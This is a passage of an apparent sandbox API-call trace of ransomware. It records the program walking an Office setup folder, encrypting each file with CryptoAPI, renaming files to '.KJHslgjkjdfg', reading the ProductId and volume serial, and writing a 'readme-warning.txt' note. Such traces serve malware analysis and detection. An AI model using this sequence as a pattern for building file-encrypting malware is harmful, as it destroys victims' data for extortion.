(lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.kjhslgjkjdfg")) returned 1 [0164.938] CloseHandle (hObject=0x114) returned 1 [0164.938] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0164.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.939] GetProcessHeap () returned 0x990000 [0164.939] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.939] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.939] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.939] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xa, lpOverlapped=0x0) returned 1 [0164.941] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.942] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.942] GetProcessHeap () returned 0x990000 [0164.942] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0164.942] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0164.942] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.942] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0164.942] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.942] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.942] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.942] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.943] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.943] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.943] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.943] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.943] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7976, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x7976, lpOverlapped=0x0) returned 1 [0164.944] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x7980, dwBufLen=0x7980 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x7980) returned 1 [0164.944] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.944] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x7980, lpOverlapped=0x0) returned 1 [0164.945] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.945] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7a44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.945] SetEndOfFile (hFile=0x114) returned 1 [0164.948] GetProcessHeap () returned 0x990000 [0164.948] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0164.948] GetProcessHeap () returned 0x990000 [0164.948] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.948] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.kjhslgjkjdfg")) returned 1 [0164.960] CloseHandle (hObject=0x114) returned 1 [0164.960] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0164.960] GetProcessHeap () returned 0x990000 [0164.960] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.960] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.960] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29deb98 | out: pbData=0x9af7b0, pdwDataLen=0x29deb98) returned 1 [0164.960] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.960] GetProcessHeap () returned 0x990000 [0164.960] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0164.960] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.960] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29deb98 | out: pbData=0x9af7f8, pdwDataLen=0x29deb98) returned 1 [0164.960] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.961] GetProcessHeap () returned 0x990000 [0164.961] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f9760 [0164.961] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.961] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f9760, pdwDataLen=0x29deb98 | out: pbData=0x9f9760, pdwDataLen=0x29deb98) returned 1 [0164.961] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.961] GetProcessHeap () returned 0x990000 [0164.961] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0164.961] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.961] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29de778 | out: pbData=0x9af840, pdwDataLen=0x29de778) returned 1 [0164.961] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.961] GetProcessHeap () returned 0x990000 [0164.961] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.961] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.961] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de778 | out: pbData=0x9b18c8, pdwDataLen=0x29de778) returned 1 [0164.961] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.961] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de774 | out: phkResult=0x29de774*=0x114) returned 0x0 [0164.961] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29de780, lpcbData=0x29de77c*=0x400 | out: lpType=0x0, lpData=0x29de780*=0x30, lpcbData=0x29de77c*=0x18) returned 0x0 [0164.962] RegCloseKey (hKey=0x114) returned 0x0 [0164.962] GetProcessHeap () returned 0x990000 [0164.962] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0164.962] GetProcessHeap () returned 0x990000 [0164.962] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.962] GetProcessHeap () returned 0x990000 [0164.962] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.962] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.962] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de54c | out: pbData=0x9b18c8, pdwDataLen=0x29de54c) returned 1 [0164.962] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.962] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0164.962] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0164.962] GetProcessHeap () returned 0x990000 [0164.962] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.962] wsprintfA (in: param_1=0x29de797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0164.963] wsprintfA (in: param_1=0x29deba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0164.963] GetProcessHeap () returned 0x990000 [0164.963] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9f9b28 [0164.963] wsprintfW (in: param_1=0x29ddb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\readme-warning.txt") returned 107 [0164.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.965] WriteFile (in: hFile=0x114, lpBuffer=0x9f9b28*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29ddb70, lpOverlapped=0x0 | out: lpBuffer=0x9f9b28*, lpNumberOfBytesWritten=0x29ddb70*=0x3b3, lpOverlapped=0x0) returned 1 [0164.966] CloseHandle (hObject=0x114) returned 1 [0164.967] GetProcessHeap () returned 0x990000 [0164.967] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0164.967] GetProcessHeap () returned 0x990000 [0164.967] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9b28 | out: hHeap=0x990000) returned 1 [0164.967] GetProcessHeap () returned 0x990000 [0164.967] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0164.967] GetProcessHeap () returned 0x990000 [0164.967] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.967] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0164.967] GetProcessHeap () returned 0x990000 [0164.967] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7e10 | out: hHeap=0x990000) returned 1 [0164.967] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="Publisher.en-us", cAlternateFileName="PUBLIS~1.EN-")) returned 1 [0164.967] GetProcessHeap () returned 0x990000 [0164.967] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xd0) returned 0x9b2468 [0164.967] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0164.968] GetProcessHeap () returned 0x990000 [0164.968] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0164.968] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="..", cAlternateFileName="")) returned 1 [0164.968] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="PublisherMUI.XML", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0164.969] GetProcessHeap () returned 0x990000 [0164.969] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2d2) returned 0x9b7e10 [0164.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.969] GetProcessHeap () returned 0x990000 [0164.969] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.969] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.969] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.969] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x6, lpOverlapped=0x0) returned 1 [0164.972] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.972] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.972] GetProcessHeap () returned 0x990000 [0164.972] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.972] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40) returned 1 [0164.972] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.972] WriteFile (in: hFile=0x114, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29ded60*=0x40, lpOverlapped=0x0) returned 1 [0164.972] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.972] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.972] WriteFile (in: hFile=0x114, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.972] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.973] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.973] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.973] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.973] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.973] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x5aa, lpOverlapped=0x0) returned 1 [0164.973] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x5b0) returned 1 [0164.973] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.973] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x5b0, lpOverlapped=0x0) returned 1 [0164.974] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.974] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.974] SetEndOfFile (hFile=0x114) returned 1 [0164.976] GetProcessHeap () returned 0x990000 [0164.976] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.976] GetProcessHeap () returned 0x990000 [0164.976] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.977] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.kjhslgjkjdfg")) returned 1 [0164.977] CloseHandle (hObject=0x114) returned 1 [0164.977] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0164.977] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.979] GetProcessHeap () returned 0x990000 [0164.979] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.979] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.979] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.979] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0165.717] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0165.717] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0165.717] GetProcessHeap () returned 0x990000 [0165.717] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0165.717] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0165.718] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0165.718] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0165.718] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0165.718] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, 